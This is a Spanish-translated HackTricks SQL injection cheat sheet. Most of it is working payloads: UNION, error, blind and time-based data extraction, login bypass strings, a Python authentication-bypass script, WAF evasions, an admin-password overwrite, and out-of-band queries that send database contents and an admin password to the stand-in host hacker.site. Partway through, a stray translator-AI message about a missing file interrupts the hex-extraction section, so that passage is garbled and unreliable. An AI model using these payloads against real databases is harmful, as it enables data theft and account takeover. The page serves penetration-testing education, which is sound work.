SQL Injection
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué es SQL injection?
An SQL injection is a security flaw that allows attackers to interfere with database queries of an application. This vulnerability can enable attackers to view, modify, or delete data they shouldn’t access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application’s functionality or content or even compromiso of the server or denial of service.
Detección del punto de entrada
When a site appears to be vulnerable to SQL injection (SQLi) due to unusual server responses to SQLi-related inputs, the first step is to understand how to inject data into the query without disrupting it. This requires identifying the method to escape from the current context effectively. These are some useful examples:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Entonces, necesitas saber cómo arreglar la query para que no haya errores. Para arreglar la query puedes input datos para que la query anterior acepte los nuevos datos, o simplemente puedes input tus datos y añadir un símbolo de comentario al final.
Ten en cuenta que si puedes ver mensajes de error o detectar diferencias entre cuando una query funciona y cuando no, esta fase será más fácil.
Comentarios
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confirmación con operaciones lógicas
Un método fiable para confirmar una vulnerabilidad de SQL injection consiste en ejecutar una operación lógica y observar los resultados esperados. Por ejemplo, si un parámetro GET como ?username=Peter devuelve contenido idéntico al modificarse a ?username=Peter' or '1'='1, indica una vulnerabilidad de SQL injection.
De manera similar, la aplicación de operaciones matemáticas sirve como técnica de confirmación eficaz. Por ejemplo, si acceder a ?id=1 y ?id=2-1 produce el mismo resultado, es indicativo de SQL injection.
Ejemplos que demuestran la confirmación con operaciones lógicas:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Esta lista de palabras fue creada para intentar confirmar SQLinjections de la manera propuesta:
SQLi real
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Confirmación mediante temporización
En algunos casos no notarás ningún cambio en la página que estás probando. Por lo tanto, una buena manera de descubrir blind SQL injections es hacer que la DB realice acciones y que tengan un impacto en el tiempo que la página necesita para cargarse.
Por lo tanto, vamos a concat en la SQL query una operación que tardará mucho en completarse:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
En algunos casos las sleep functions no estarán permitidas. Entonces, en lugar de usar esas funciones podrías hacer que la consulta realice operaciones complejas que tomarán varios segundos. Los ejemplos de estas técnicas se comentarán por separado en cada tecnología (si los hay).
Identifying Back-end
La mejor forma de identificar el back-end es intentando ejecutar funciones de los distintos back-ends. Podrías usar las sleep functions de la sección anterior o estas (tabla de payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Además, si tienes acceso al output de la query, podrías hacer que imprima la versión de la base de datos.
Tip
A continuación vamos a discutir diferentes métodos para explotar distintos tipos de SQL Injection. Usaremos MySQL como ejemplo.
Identificando con PortSwigger
SQL injection cheat sheet | Web Security Academy
Explotando Union Based
Detectando el número de columnas
Si puedes ver el output de la query, esta es la mejor forma de explotarla.
Primero, necesitamos averiguar el número de columnas que está devolviendo la petición inicial. Esto es porque ambas queries deben devolver el mismo número de columnas.
Normalmente se utilizan dos métodos para este propósito:
Order/Group by
Para determinar el número de columnas en una consulta, ajusta incrementalmente el número usado en las cláusulas ORDER BY o GROUP BY hasta que se reciba una respuesta de error. A pesar de las funcionalidades distintas de GROUP BY y ORDER BY dentro de SQL, ambos pueden utilizarse de forma idéntica para determinar el número de columnas de la query.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Selecciona cada vez más valores null hasta que la consulta sea correcta:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Debes usar valores null ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos.
Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
En los siguientes ejemplos vamos a recuperar el nombre de todas las bases de datos, el nombre de la tabla de una base de datos, los nombres de las columnas de la tabla:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Hay una forma diferente de descubrir estos datos en cada base de datos diferente, pero siempre es la misma metodología.
Exploiting Hidden Union Based
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a hidden union-based injection. This scenario often leads to a blind injection situation. Para convertir una blind injection en una union-based es necesario discernir la consulta que se ejecuta en el backend.
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). Para entender estas tablas por defecto, se aconseja consultar la documentación del DBMS objetivo.
Once the query has been extracted, it’s necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
For more comprehensive insights, refer to the complete article available at Healing Blind Injections.
Exploiting Error based
Si por alguna razón no puedes ver la salida de la consulta pero puedes ver los mensajes de error, puedes hacer que esos mensajes de error ex-filtrate datos de la base de datos.
Siguiendo un flujo similar al de la explotación Union Based, podrías lograr dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Explotando Blind SQLi
En este caso no puedes ver los resultados de la consulta ni los errores, pero puedes distinguir cuando la consulta devuelve una respuesta true o false porque hay contenidos diferentes en la página.
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Explotando Error Blind SQLi
Este es el mismo caso que antes, pero en lugar de distinguir entre una respuesta true/false de la consulta puedes distinguir entre un error en la consulta SQL o no (quizá porque el servidor HTTP se caiga). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivines correctamente el char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Explotando Time Based SQLi
En este caso no hay ninguna forma de distinguir la response de la query basándose en el contexto de la página. Pero, puedes hacer que la página tarde más en cargar si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Puedes usar stacked queries para ejecutar múltiples consultas en sucesión. Ten en cuenta que, aunque las consultas posteriores se ejecuten, los resultados no se devuelven a la aplicación. Por ello, esta técnica es especialmente útil en relación con blind vulnerabilities, donde puedes usar una segunda consulta para desencadenar una consulta DNS, un error condicional o un retraso temporal.
Oracle no soporta stacked queries. MySQL, Microsoft y PostgreSQL los soportan: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Si ningún otro método de explotación funcionó, puedes intentar que la database ex-filtrate la información a un external host controlado por ti. Por ejemplo, mediante consultas DNS:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Exfiltración de datos fuera de banda mediante XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Explotación automatizada
Consulta la SQLMap Cheatsheet para explotar una vulnerabilidad de SQLi con sqlmap.
Información específica por tecnología
Ya hemos discutido todas las formas de explotar una vulnerabilidad de SQL Injection. Encuentra algunos trucos más dependientes de la tecnología de la base de datos en este libro:
O también encontrarás muchos trucos relacionados con: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Lista para intentar eludir la funcionalidad de login:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Esta consulta muestra una vulnerabilidad cuando MD5 se usa con true para raw output en las comprobaciones de autenticación, lo que hace que el sistema sea susceptible a SQL injection. Los atacantes pueden explotar esto creando entradas que, al calcularse su hash, generan partes inesperadas de comandos SQL, lo que conduce a acceso no autorizado.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Lista recomendada:
Debes usar como nombre de usuario cada línea de la lista y como contraseña siempre: Pass1234.
(Estos payloads también están incluidos en la gran lista mencionada al principio de esta sección)
GBK Authentication Bypass
Si ’ está siendo escapado puedes usar %A8%27, y cuando ’ se escapa se creará: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Script de Python:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Sentencia INSERT
Modificar la contraseña de un objeto/usuario existente
Para ello deberías intentar crear un nuevo objeto con el nombre del “objeto maestro” (probablemente admin en el caso de usuarios) modificando algo:
- Crear usuario llamado: AdMIn (mayúsculas y minúsculas)
- Crear un usuario llamado: admin=
- SQL Truncation Attack (cuando hay algún tipo de límite de longitud en el username o el email) –> Crear usuario con nombre: admin [a lot of spaces] a
SQL Truncation Attack
Si la base de datos es vulnerable y el número máximo de caracteres para el username es por ejemplo 30 y quieres suplantar al usuario admin, intenta crear un username llamado: “admin [30 spaces] a” y cualquier password.
La base de datos comprobará si el username introducido existe dentro de la base de datos. Si no, cortará el username al número máximo permitido de caracteres (en este caso a: “admin [25 spaces]”) y entonces eliminará automáticamente todos los espacios al final, actualizando en la base de datos el usuario “admin” con la nueva contraseña (puede aparecer algún error pero eso no significa que no haya funcionado).
Más info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Añade tantos ','','' como consideres necesarios para salir de la sentencia VALUES. Si se ejecuta el delay, tienes una SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
La cláusula ON DUPLICATE KEY UPDATE en MySQL se utiliza para especificar las acciones que la base de datos debe realizar cuando se intenta insertar una fila que provocaría un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo esta característica puede explotarse para modificar la contraseña de una cuenta de administrador:
Ejemplo Payload Injection:
Un injection payload podría elaborarse de la siguiente manera, donde se intenta insertar dos filas en la tabla users. La primera fila es un señuelo, y la segunda fila apunta al email de un administrador existente con la intención de actualizar la contraseña:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Así es como funciona:
- La query intenta insertar dos rows: una para
generic_user@example.comy otra paraadmin_generic@example.com. - Si la row para
admin_generic@example.comya existe, la cláusulaON DUPLICATE KEY UPDATEse dispara, instruyendo a MySQL para actualizar el campopasswordde la row existente a “bcrypt_hash_of_newpassword”. - En consecuencia, la authentication se puede intentar usando
admin_generic@example.comcon el password correspondiente al bcrypt hash (“bcrypt_hash_of_newpassword” representa el bcrypt hash de la nueva password, que debe ser reemplazado por el hash real de la password deseada).
Extraer información
Creando 2 cuentas al mismo tiempo
Al intentar crear un nuevo user, se necesitan username, password y email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Usando decimal o hexadecimal
Con esta técnica puedes extraer información creando solo 1 cuenta. Es importante tener en cuenta que no necesitas comentar nada.
Usando hex2dec y substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
No tengo el contenido de src/pentesting-web/sql-injection/README.md. Pega aquí el texto del archivo o dame acceso. Para obtenerlo localmente puedes usar, por ejemplo:
- cat src/pentesting-web/sql-injection/README.md
- git show HEAD:src/pentesting-web/sql-injection/README.md
- curl -sSL https://raw.githubusercontent.com/
/ / /src/pentesting-web/sql-injection/README.md
Cuando pegues el contenido lo traduciré al español manteniendo exactamente el Markdown/HTML y las reglas que indicaste.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Usando hex y replace (y substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection es una situación en la que la consulta inyectable no es la que produce la salida, sino que la salida de la consulta inyectable va a la consulta que produce la salida. (From Paper)
Ejemplo:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass usando alternativas de espacios en blanco
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass usando comentarios
?id=1/*comment*/and/**/1=1/**/--
Sin espacios en blanco - bypass usando paréntesis
?id=(1)and(1)=(1)--
No Comma bypass
No Comma - bypass usando OFFSET, FROM y JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generic Bypasses
Blacklist usando palabras clave - bypass usando mayúsculas/minúsculas
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist usando keywords sin distinguir mayúsculas/minúsculas - bypass usando un operador equivalente
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Notación científica WAF bypass
Puedes encontrar una explicación más detallada de este truco en gosecure blog.
Básicamente, puedes usar la notación científica de maneras inesperadas para bypassear el WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Evadir la restricción de nombres de columnas
Antes que nada, observa que si la consulta original y la tabla de la que quieres extraer la flag tienen el mismo número de columnas podrías simplemente hacer: 0 UNION SELECT * FROM flag
Es posible acceder a la tercera columna de una tabla sin usar su nombre usando una consulta como la siguiente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, por lo que en un sqlinjection esto se vería así:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
O usando un comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Este truco fue tomado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
Si la entrada del usuario se concatena en la lista de SELECT o en los identificadores table/column, prepared statements no ayudarán porque bind parameters solo protegen valores, no identificadores. Un patrón vulnerable común es:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Idea de explotación: inyectar una subconsulta en la posición del campo para exfiltrar datos arbitrarios:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Notes:
- Esto funciona incluso cuando la cláusula WHERE usa un bound parameter, porque la lista de identificadores sigue siendo concatenada en cadena.
- Algunos stacks además permiten controlar el nombre de la tabla (tablename injection), habilitando lecturas entre tablas.
- Los output sinks pueden reflejar el valor seleccionado en HTML/JSON, permitiendo XSS o token exfiltration directamente desde la respuesta.
Mitigaciones:
- Nunca concatenes identificadores provenientes de la entrada del usuario. Mapea los nombres de columna permitidos a una lista fija y escapa/cita los identificadores correctamente.
- Si se requiere acceso dinámico a tablas, restríngete a un conjunto finito y resuélvelo server-side desde un mapping seguro.
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
Algunos frameworks convierten ASTs de filtros estructurados en fragmentos booleanos raw SQL (e.g., metadata filters or JSON predicates) y luego string-concatenate esos fragmentos en consultas más grandes. Si el conversor wraps string values as '%s' without escaping, una comilla simple en la entrada del usuario termina el literal y el resto se parsea como SQL.
Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → decodificado: ' OR '1'='1 → el predicado queda:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-based SQLi (PDO limitation)
Las sentencias preparadas no pueden enlazar identificadores (nombres de columna o tabla). Un patrón inseguro común es tomar un parámetro sort controlado por el usuario y construir ORDER BY usando concatenación de cadenas, a veces envolviendo la entrada entre backticks para “sanearla”. Esto aún permite SQLi porque el contexto del identificador está controlado por el atacante.
Patrón vulnerable:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
Señales en el tráfico:
- Parámetro sort en POST (a menudo
sort=column), no es una lista de permitidos fija. - Cambiar
sortrompe la consulta o altera el orden del resultado.
Herramientas sugeridas para WAF bypass
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
Otras guías
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Lista de detección de Brute-Force
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
Referencias
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


